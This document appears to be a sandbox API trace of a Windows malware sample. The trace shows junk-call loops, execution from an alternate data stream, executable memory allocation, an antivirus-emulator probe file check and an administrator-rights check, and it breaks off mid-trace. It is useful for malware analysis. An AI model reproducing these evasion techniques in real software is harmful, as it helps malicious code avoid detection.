IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.629] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.629] IsCharLowerA (ch=28) returned 0 [0030.629] CountClipboardFormats () returned 4 [0030.629] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.629] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.629] IsCharLowerA (ch=29) returned 0 [0030.629] CountClipboardFormats () returned 4 [0030.629] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.629] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.629] IsCharLowerA (ch=30) returned 0 [0030.629] CountClipboardFormats () returned 4 [0030.629] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.629] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.629] IsCharLowerA (ch=31) returned 0 [0030.629] CountClipboardFormats () returned 4 [0030.629] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.629] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.629] IsCharLowerA (ch=32) returned 0 [0030.629] CountClipboardFormats () returned 4 [0030.629] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.629] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.629] IsCharLowerA (ch=1) returned 0 [0030.629] CountClipboardFormats () returned 4 [0030.629] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.629] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.629] IsCharLowerA (ch=2) returned 0 [0030.629] CountClipboardFormats () returned 4 [0030.629] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.629] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.630] IsCharLowerA (ch=3) returned 0 [0030.630] CountClipboardFormats () returned 4 [0030.630] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.630] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.630] IsCharLowerA (ch=4) returned 0 [0030.630] CountClipboardFormats () returned 4 [0030.630] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.630] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.630] IsCharLowerA (ch=5) returned 0 [0030.630] CountClipboardFormats () returned 4 [0030.630] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.630] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.630] IsCharLowerA (ch=6) returned 0 [0030.630] CountClipboardFormats () returned 4 [0030.630] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.630] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.630] IsCharLowerA (ch=7) returned 0 [0030.630] CountClipboardFormats () returned 4 [0030.630] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.630] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.630] IsCharLowerA (ch=8) returned 0 [0030.630] CountClipboardFormats () returned 4 [0030.630] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.630] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.630] IsCharLowerA (ch=9) returned 0 [0030.630] CountClipboardFormats () returned 4 [0030.630] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.630] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.630] IsCharLowerA (ch=10) returned 0 [0030.630] CountClipboardFormats () returned 4 [0030.630] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.630] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.630] IsCharLowerA (ch=11) returned 0 [0030.630] CountClipboardFormats () returned 4 [0030.630] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.630] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.630] IsCharLowerA (ch=12) returned 0 [0030.631] CountClipboardFormats () returned 4 [0030.631] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.631] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.631] IsCharLowerA (ch=13) returned 0 [0030.631] CountClipboardFormats () returned 4 [0030.631] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.631] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.631] IsCharLowerA (ch=14) returned 0 [0030.631] CountClipboardFormats () returned 4 [0030.631] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.631] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.631] IsCharLowerA (ch=15) returned 0 [0030.631] CountClipboardFormats () returned 4 [0030.631] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.631] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.631] IsCharLowerA (ch=16) returned 0 [0030.631] CountClipboardFormats () returned 4 [0030.631] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.631] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.631] IsCharLowerA (ch=17) returned 0 [0030.631] CountClipboardFormats () returned 4 [0030.631] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.631] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.631] IsCharLowerA (ch=18) returned 0 [0030.631] CountClipboardFormats () returned 4 [0030.631] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.631] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.631] IsCharLowerA (ch=19) returned 0 [0030.631] CountClipboardFormats () returned 4 [0030.631] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.631] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.631] IsCharLowerA (ch=20) returned 0 [0030.631] CountClipboardFormats () returned 4 [0030.631] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.631] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.631] IsCharLowerA (ch=21) returned 0 [0030.632] CountClipboardFormats () returned 4 [0030.632] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.632] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.632] IsCharLowerA (ch=22) returned 0 [0030.632] CountClipboardFormats () returned 4 [0030.632] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.632] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.632] IsCharLowerA (ch=23) returned 0 [0030.632] CountClipboardFormats () returned 4 [0030.632] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.632] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.632] IsCharLowerA (ch=24) returned 0 [0030.632] CountClipboardFormats () returned 4 [0030.632] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.632] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.632] IsCharLowerA (ch=25) returned 0 [0030.632] CountClipboardFormats () returned 4 [0030.632] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.632] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.632] IsCharLowerA (ch=26) returned 0 [0030.632] CountClipboardFormats () returned 4 [0030.632] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.632] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.632] IsCharLowerA (ch=27) returned 0 [0030.632] CountClipboardFormats () returned 4 [0030.632] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.632] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.632] IsCharLowerA (ch=28) returned 0 [0030.632] CountClipboardFormats () returned 4 [0030.632] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.632] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.632] IsCharLowerA (ch=29) returned 0 [0030.632] CountClipboardFormats () returned 4 [0030.632] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.632] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.633] IsCharLowerA (ch=30) returned 0 [0030.633] CountClipboardFormats () returned 4 [0030.633] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.633] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.633] IsCharLowerA (ch=31) returned 0 [0030.633] CountClipboardFormats () returned 4 [0030.633] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.633] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.633] IsCharLowerA (ch=32) returned 0 [0030.633] CountClipboardFormats () returned 4 [0030.633] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.633] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.633] IsCharLowerA (ch=1) returned 0 [0030.633] CountClipboardFormats () returned 4 [0030.633] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.633] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.633] IsCharLowerA (ch=2) returned 0 [0030.633] CountClipboardFormats () returned 4 [0030.633] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.633] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.633] IsCharLowerA (ch=3) returned 0 [0030.633] CountClipboardFormats () returned 4 [0030.633] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.633] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.633] IsCharLowerA (ch=4) returned 0 [0030.633] CountClipboardFormats () returned 4 [0030.633] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.633] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.633] IsCharLowerA (ch=5) returned 0 [0030.633] CountClipboardFormats () returned 4 [0030.633] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.633] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.633] IsCharLowerA (ch=6) returned 0 [0030.633] CountClipboardFormats () returned 4 [0030.633] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.633] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.634] IsCharLowerA (ch=7) returned 0 [0030.634] CountClipboardFormats () returned 4 [0030.634] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.634] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.634] IsCharLowerA (ch=8) returned 0 [0030.634] CountClipboardFormats () returned 4 [0030.634] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.634] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.634] IsCharLowerA (ch=9) returned 0 [0030.634] CountClipboardFormats () returned 4 [0030.634] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.634] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.634] IsCharLowerA (ch=10) returned 0 [0030.634] CountClipboardFormats () returned 4 [0030.634] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.634] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.634] IsCharLowerA (ch=11) returned 0 [0030.634] CountClipboardFormats () returned 4 [0030.634] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.634] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.634] IsCharLowerA (ch=12) returned 0 [0030.634] CountClipboardFormats () returned 4 [0030.634] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.634] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.634] IsCharLowerA (ch=13) returned 0 [0030.634] CountClipboardFormats () returned 4 [0030.634] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.634] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.634] IsCharLowerA (ch=14) returned 0 [0030.634] CountClipboardFormats () returned 4 [0030.634] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.635] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.635] IsCharLowerA (ch=15) returned 0 [0030.635] CountClipboardFormats () returned 4 [0030.635] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.635] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.635] IsCharLowerA (ch=16) returned 0 [0030.635] CountClipboardFormats () returned 4 [0030.635] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.635] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.635] IsCharLowerA (ch=17) returned 0 [0030.635] CountClipboardFormats () returned 4 [0030.635] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.635] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.635] IsCharLowerA (ch=18) returned 0 [0030.635] CountClipboardFormats () returned 4 [0030.635] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.635] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.635] IsCharLowerA (ch=19) returned 0 [0030.635] CountClipboardFormats () returned 4 [0030.635] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.635] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.635] IsCharLowerA (ch=20) returned 0 [0030.635] CountClipboardFormats () returned 4 [0030.635] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.635] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.635] IsCharLowerA (ch=21) returned 0 [0030.635] CountClipboardFormats () returned 4 [0030.635] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.635] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.636] IsCharLowerA (ch=22) returned 0 [0030.636] CountClipboardFormats () returned 4 [0030.636] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.636] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.636] IsCharLowerA (ch=23) returned 0 [0030.636] CountClipboardFormats () returned 4 [0030.636] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.636] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.636] IsCharLowerA (ch=24) returned 0 [0030.636] CountClipboardFormats () returned 4 [0030.637] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1:bin")) returned 0x2e [0030.637] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18ff08 | out: pcyOut=0x18ff08) returned 0x0 [0030.637] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1:bin")) returned 0x2e [0030.637] Sleep (dwMilliseconds=0x94) [0030.787] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb30 | out: ProcedureAddress=0x18fb30*=0x76e21856) returned 0x0 [0030.787] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0030.791] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb58 | out: ProcedureAddress=0x18fb58*=0x76e21856) returned 0x0 [0030.791] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x1c0000 [0030.792] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e249d7) returned 0x0 [0030.792] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e21222) returned 0x0 [0030.792] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e21856) returned 0x0 [0030.792] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x76e2435f) returned 0x0 [0030.792] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0030.792] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0030.792] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0030.792] VirtualProtect (in: lpAddress=0x400000, dwSize=0x27000, flNewProtect=0x40, lpflOldProtect=0x18fc08 | out: lpflOldProtect=0x18fc08*=0x2) returned 1 [0030.794] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x260000 [0030.796] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0030.796] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0030.796] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0030.796] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0031.192] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0031.201] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1f70000 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x104) returned 0x1f707d0 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f708e0 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70968 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f709f0 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70a78 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70b00 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70b88 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70c10 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70c98 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70d20 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70da8 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70e30 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70eb8 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70f40 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f70fc8 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f71050 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x80) returned 0x1f710d8 [0031.213] RtlAllocateHeap (HeapHandle=0x1f70000, Flags=0x8, Size=0x400) returned 0x1f71160 [0031.213] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1d70000 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d707d0 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d70858 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d708e0 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x184) returned 0x1d70968 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70af8 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70b40 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70b88 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70bd0 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70c18 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70c60 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70ca8 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70cf0 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70d38 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70d80 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70dc8 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70e10 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70e58 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70ea0 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70ee8 [0031.214] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70f30 [0031.214] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1:bin")) returned 0x2e [0031.215] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d70f78 [0031.215] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x2c) returned 0x1d7b828 [0031.220] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0031.220] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0031.220] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0x90) returned 1 [0031.220] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0031.220] GetLastError () returned 0x7a [0031.220] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x140) returned 0x1d7b860 [0031.220] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x1d7b860, TokenInformationLength=0x118, ReturnLength=0x18fbec | out: TokenInformation=0x1d7b860, ReturnLength=0x18fbec) returned 1 [0031.220] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x2b16c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0031.221] EqualSid (pSid1=0x2b16c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1d7b8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0031.221] EqualSid (pSid1=0x2b16c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1d7b8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0031.221] EqualSid (pSid1=0x2b16c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1d7b8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0031.221] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b860) returned 1 [0031.221] NtClose (Handle=0x90) returned 0x0 [0031.221] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7b860 [0031.222] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7b8a8 [0031.222] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x280) returned 0x1d7b930 [0031.223] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0031.227] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1d7b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0031.227] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bbb8 [0031.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.227] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bc58 [0031.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1d7bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0031.228] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7bca0 [0031.228] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7bc58) returned 1 [0031.228] 